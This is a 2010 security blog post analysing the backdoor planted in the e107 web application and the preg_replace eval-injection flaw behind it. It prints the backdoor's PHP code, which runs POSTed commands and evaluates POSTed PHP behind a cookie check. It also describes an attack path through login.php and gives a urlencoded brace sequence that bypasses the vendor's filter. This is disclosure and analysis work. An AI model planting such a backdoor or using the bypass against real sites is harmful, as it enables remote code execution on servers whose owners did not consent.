Thursday, January 28, 2010

Brief analysis of the e107 fiasco

Earlier this week Bogdan Calin posted to the Full-Disclosure mailing list a mesage stating that the popular e107 web application apparently had been modified recently to contain the following malicious code.

1:  if(md5($_COOKIE['access-admin']) == "cf1afec15669cb96f09befb7d70f8bcb") {  
2:  ...  
3:  if(!empty($_POST['cmd'])){  
4:       $out = execute($_POST['cmd']);  
5:  }  
6:  elseif(!empty($_POST['php'])){  
7:       ob_start();  
8:       eval($_POST['php']);  
9:       $out = ob_get_contents();  
10:       ob_end_clean();  
11:  }  

As we can see from the above code, this is most definitely not a bug in the software, and indeed a maliciously placed backdoor like Bogdan had initially suggested. The practice of placing malicious code within popular web applications is nothing new, and some may even say that this incident is similar to the Wordpress incident of 2007, where an attacker had successfully managed to taint some Wordpress distributions with malicious code.

One of the interesting things about this case though, versus the Wordpress incident is the fact that this breach seems to have literally happened within a day of e107 patching a serious undisclosed security issue. This leads me to wonder, did the e107 developers attempt to correct errors in thier distribution code before securing thier own servers? The timing of the incident definitely does seem to suggest that is the case, unfortunately.

In regards to the bug itself that allowed for all of the e107 issues, little is known about the technical details of the vulnerability. However, a quick glance at the e107 CVS repository and we can see a few interesting entries.

 class2.php         1.390      5 days       mcfly_e107       Another small fix - just in case  
 login.php          1.16       7 days       mcfly_e107       Beginning removal of the use of /e with preg_replace  
 userposts.php      1.32       7 days       mcfly_e107       Beginning removal of the use of /e with preg_replace  

It seems that this week several files were modified, some of which make mention of "Beginning removal of the use of /e with preg_replace" within thier commit notes, which might lead one to believe that the undisclosed vulnerabilities were due to careless use of eval with preg_replace. After having a look at the changes made within class2.php our suspicions are confirmed.

 revision 1.388, Sat Jan 9 20:32:21 2010 UTC   
 define("e_QUERY", $e_QUERY);  
 revision 1.390, Fri Jan 22 15:00:22 2010 UTC   
 define("e_QUERY", str_replace(array('{', '}', '%7B', '%7b', '%7D', '%7d'), '', $e_QUERY));  

As we can see from the above code, the changes in class2.php seem to be an application wide attempt to remove the characters { and } from the e_QUERY constant, which are indeed very convienant to use within preg_replace, and eval injection attacks, as they allow code to be parsed dynamically within strings.

Now that we seem to have the cause of the vulnerability figured out, we can now focus on finding an exploitable attack vector, which in this case will be login.php. I chose to use login.php because exploitation is a bit different, and can only be used reliably against servers that do not consider case sensitivity. This was done intentionally since there are still very many vulnerable hosts in the wild at the moment.

1:  $text = preg_replace("/\{(.*?)\}/e", 'varset($\1,"\1")', $LOGIN_TABLE);  

The above code is part of the code removed from login.php that basically attempts to make use of the $LOGIN_TABLE variable inside of a preg_replace eval call. The $LOGIN_TABLE variable contains a value from the login template used to render the login form etc. to an unauthenticated user. The problem here is that the language files are included from a file, and thus executed as soon as they are included, which parses variables and constants within the file at runtime. So, whenever we see preg_replace with an eval switch used within e107 to parse template values, it is safe to assume that all variables within the template data such as e_SELF and e_QUERY, now hold the contents of the variable itself which makes remote PHP code execution trivial.


Since login.php parsed the contents of $LOGIN_TABLE with the eval switch, and the included template value containted the e_SELF constant, the above request to a vulnerable e107 install would successfully execute the phpinfo function. A couple of things worth mentioning.

[1]  My above example will only work on servers that do not consider case sensitivity as e107 partially filters the PHP_SELF variable before placing it into the e_SELF constant.

[2]  Complex curly syntax is not used here. The { and } characters are actually just markers in this case used internally by e107, and that is why we append our function to be executed to a string/variable value.

[3]  Exploitation is probably not limited to just e_SELF and e_QUERY, as all user controlled variables within template data parsed in the previously mentioned manner are succeptible to attack.

[4]  The fix within class2.php works in most cases, but is most definately flawed as we can bypass the filter to send urlencoded curly braces, as str_replace works sequentially with arrays. For example %7%7bB becomes { and %7%7dD  becomes } after the filter is applied to the e_QUERY data.